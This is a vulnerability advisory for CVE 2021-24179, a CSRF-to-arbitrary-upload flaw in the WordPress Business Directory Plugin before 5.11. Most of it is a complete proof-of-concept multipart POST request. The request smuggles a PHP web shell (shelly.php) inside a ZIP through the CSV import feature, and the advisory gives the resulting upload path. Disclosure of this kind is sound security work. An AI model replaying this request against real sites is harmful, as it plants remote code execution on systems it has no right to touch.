Business Directory Plugin < 5.11 – Arbitrary File Upload to RCE | CVE 2021-24179

Description

The plugin suffered from a Cross-Site Request Forgery issue, allowing an attacker to make a logged in administrator import files. As the plugin also did not validate uploaded files, it could lead to RCE.

Note (WPScanTeam): CSRF check and some file validation were added in v5.11, however a blacklist approach was used to forbid specific files (such as php), still allowing php4 to be uploaded by a high privilege user and a separate issue has been created for it

Proof of Concept

POST http://localhost/wp-admin/admin.php?page=wpbdp_admin_csv HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------31004249213982265192075330464
Content-Length: 2653


-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="action"

do-import
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="csv-file"; filename="Shop search - 1613143091.csv"
Content-Type: application/vnd.ms-excel

stuff,more stuff

-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="images-file"; filename="test.zip"
Content-Type: application/x-zip-compressed

PK  {UR$ó˜SU q
shelly.php³±/È(PÈLÓÈ,.N-ÑP‰r
u
‰VOÎMQÕÔ¬VHMÎÈWP²)(JµS²VPŠ+Ø*`ª´V(®,.IÍÕ ©Ð´†iÓ‡êKÉLµV¨µ· PK   {UR$ó˜SU q
$ shelly.php
  #É€×#É€×‰"=_×PK   \ }
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[csv-file-separator]"

,
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[images-separator]"

;
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[category-separator]"

;
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[post-status]"

publish
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[existing-post-status]"

preserve_status
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[create-missing-categories]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[append-images]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[assign-listings-to-user]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[default-user]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[batch-size]"

40
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="settings[disable-email-notifications]"

1
-----------------------------31004249213982265192075330464
Content-Disposition: form-data; name="do-import"

Import Listings
-----------------------------31004249213982265192075330464-- 

Upload Path: wp-content/uploads/wpbdp-csv-imports/{last modified}/images/shelly.php

The CSV file should be crafted a special way else you will get an error, however the files still get uploaded on error so it doesn't matter. Just a heads up.
Images can also be imported by a .ZIP file which you can place a .php file inside of.